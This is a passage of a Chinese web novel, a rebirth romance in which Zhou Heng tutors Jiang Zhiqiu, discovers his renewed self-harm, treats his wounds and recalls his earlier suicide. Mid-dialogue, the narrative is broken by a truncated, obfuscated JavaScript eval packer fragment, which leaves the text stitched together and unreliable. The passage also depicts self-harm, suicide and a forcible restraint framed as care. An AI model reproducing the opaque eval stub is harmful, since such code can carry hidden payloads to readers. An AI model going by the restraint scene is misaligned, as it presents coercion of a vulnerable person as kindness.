周衡,“……”他听完沉默了一会儿,又有些想笑,忍不住勾了下唇角。 上辈子的江知秋就很犟,他是年级第一,没有人比他的正确率更高,所以他不会轻易被其他人影响更改自己的答案,现在的江知秋也一样,给他勾出答案了他还要坚持自己错的那个。 “坐下吧。”张正转头看到周衡在笑,立即棱了他一眼,揪他起来回答,“周衡,你来说选什么?” 周衡说,“我也选C。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江渡和陈雪兰在二楼看电视,看到他来了有些意外,“你刚才怎么不和秋儿一起上来?” 周衡没解释,只是说,“我来找秋儿问两道题。” “秋儿在房间,你直接进去吧。” “行。” 周衡推开江知秋的房门,轻轻关上,没发出什么声音。江知秋没发现他进来,背对着他找手机。 他上次用手机还是踏青那天刚买回来的时候,后来就一直不知道扔去了哪里。江知秋记忆力不太好,找了半天才从床头缝里找到手机。 几天没用,手机已经没电了。江知秋找到充电线给手机充上电,几秒钟后手机才亮起屏,开机后他登上社交账号,消息提示音开始频繁响起来,周衡压眉靠着门看了会儿,抬手敲了下门吸引江知秋的注意。 江知秋转头看到他,微微一愣,“你怎么来了?” “下午说了要来给你补课。”周衡弯起唇角,拿出U盘和书把包扔到他床上,去客厅搬了张椅子进来,反手锁上门,抽开书桌前的椅子对江知秋拍了拍,“别玩儿你那个手机了,过来。” 江知秋顿了顿,起身坐过去。 U盘里都是他这段时间找的网课,更适合江知秋,周衡打开笔电插上U盘,打算先给他看看,然后再查缺补漏。 江渡和陈雪兰知道他们在里面学习,调小了电视的声音。一节网课四十五分钟,差不多是一节上课时长,看网课的时候江知秋和周衡都没说话,距离挨得不远不近,直到结束周衡才把准备好的题给他,“我给你挑了几道题。你现在先做,给我批了之后我再给你讲题。” 江知秋点了下头,拿过他准备的题开始做。 他准备的都是针对网课的基础题,周衡守着他做了会儿题才戴上耳机看他的网课,过了会儿余光瞥见江知秋不知道什么停了笔发呆,于是暂停了网课问他,“写完了?” 江知秋先是摇了下头,半分钟后他深吸了口气,小声说,“不要再对我这么好了,周衡。” 周衡握着鼠标的手僵了一瞬,他捻了下指尖,压下想抽烟的冲动,笑着偏过头,“网课是在网上下的,题也是在网上找的,这就算对你好了?” 不等江知秋说话,周衡扔开鼠标,摘了耳机说,“算了。先别做了,去换条裤子,先给我看看你的腿。” 意料之中,江知秋摇头拒绝他,“不。” 周衡沉着眉凝视他片刻,“秋儿,别让哥动手。” 江知秋站起身想走,周衡眼皮一跳,立刻眼疾手快抓住他,箍住他的腰压到腿上。江知秋力气没他大,屋里几乎没传出什么动静,没惊动外面的江渡。 江知秋没挣扎开他,“放开。” 他反应不对劲,如果他没跑周衡今天都不一定会坚持。 “给我看一眼就放开你。”周衡压着声音说,“又不会吃了你,跑什么?” 江知秋别开头,周衡盯着他的表情隔着裤子摸了两下他的腿,拉下他的裤腰,看到密密麻麻的红痕网在他的腿上,比上次还严重,周衡盯着看了会儿,抬头时表情勉强维持着平静,心平气和问他,“不是答应我了吗,怎么又开始伤害自己了?” 江知秋摇了下头,不想解释。 江知秋之前沉浸在走马灯的幻觉里的时候每天只是睡觉,没有伤害过自己,但自从他开始提醒他重生之后,江知秋反而开始自残。周衡喉咙动了两下,提起他的裤腰放开他,让他面对面坐下来,夹着他的腿不让他跑,捏着他的脸颊晃了晃,“说话,秋儿。” 江知秋挣不开他的腿,垂着眼帘长吸了口气,“我控制不住。” 他抬起眼睫时眼尾微微红,又说,“对不起。” “道什么歉,这又不怪你。”江知秋以前自残后经常会感觉愧疚,周衡勉强弯了下唇安抚他。上辈子江知秋都已经严重成那样了他都能帮他改掉自残的习惯,这辈子才刚开始,难度比上辈子小得多。 周衡揉了下他的头发,这次江知秋没躲开他,“乖乖待着。” 他起身出门拿了上次用的软膏回来,让江知秋去换裤子给他上药。房间里安静了一会儿,周衡用棉签推开软膏,冰冰凉凉的感觉在腿上蔓开,江知秋看着他头顶的发旋,突然又小声说,“你不要再对我这么好了,周衡。” “有件事我一直忘了告诉你。”周衡却提起另一件事,“我妈上辈子在这个时候打过一个孩子。” 上辈子林蕙兰和周承知道江知秋对周衡的感情,原本他们看待江知秋就像看待另一个儿子,在江知秋亲生父母离世后他们也照顾颇多,但自从知道他对周衡的感情之后却始终无法接受,在周衡因为他多次拒绝了他们安排的女孩后对他产生了埋怨,再也不愿意再见到他。 周衡为了江知秋把自己包装成了一个合格的同性恋。他毫不避讳他和江知秋的关系,看gay片看到吐,也和江知秋接过吻。江知秋曾经因为抑郁自残上瘾,他将他上瘾的对象从自残掰成了接吻和拥抱,陪他度过了这段时间。他焊死了他在周围人眼里他是gay的形象,夸张到连对接工作的合作方的合作方都知道他是个gay,甚至还骗过了林蕙兰和周承。 而林蕙兰和周承无法接受的原因之一是他是家里的独生子。 “当年我已经十七岁,一个人在蓉城读书,他们怕我想太多,不能接受二胎才选择打掉它,”周衡说,“如果这个孩子能生下来,他们就不再会那么抗拒。” 那天早上他的提议被他妈当成了浑话,他爸妈都没放在心上,但周衡估计也快了。 “他们现在应该也快发现我妈怀孕的事,这次我会让他们考虑留下来。” 江知秋却没说话。 周衡也没再开口,替江知秋抹完腿上的伤口丢了棉签,伸臂连着搬动他身下的椅子往自己身前一兜,喉头无声滚动两下,“这两天我一直想问你一句话。” 他说,“秋儿,是不是不喜欢哥了?” 当初周衡让江知秋答应他只要他还喜欢他一天,就要为他活下来一天,但江知秋还是选择了自杀。从发现江知秋也重生后的那天起周衡其实就想问他,却始终踌躇没问出来,其实他心里隐隐已经有了答案。 江知秋抬起眼睫看他一眼,又垂下,小声说,“不喜欢了。”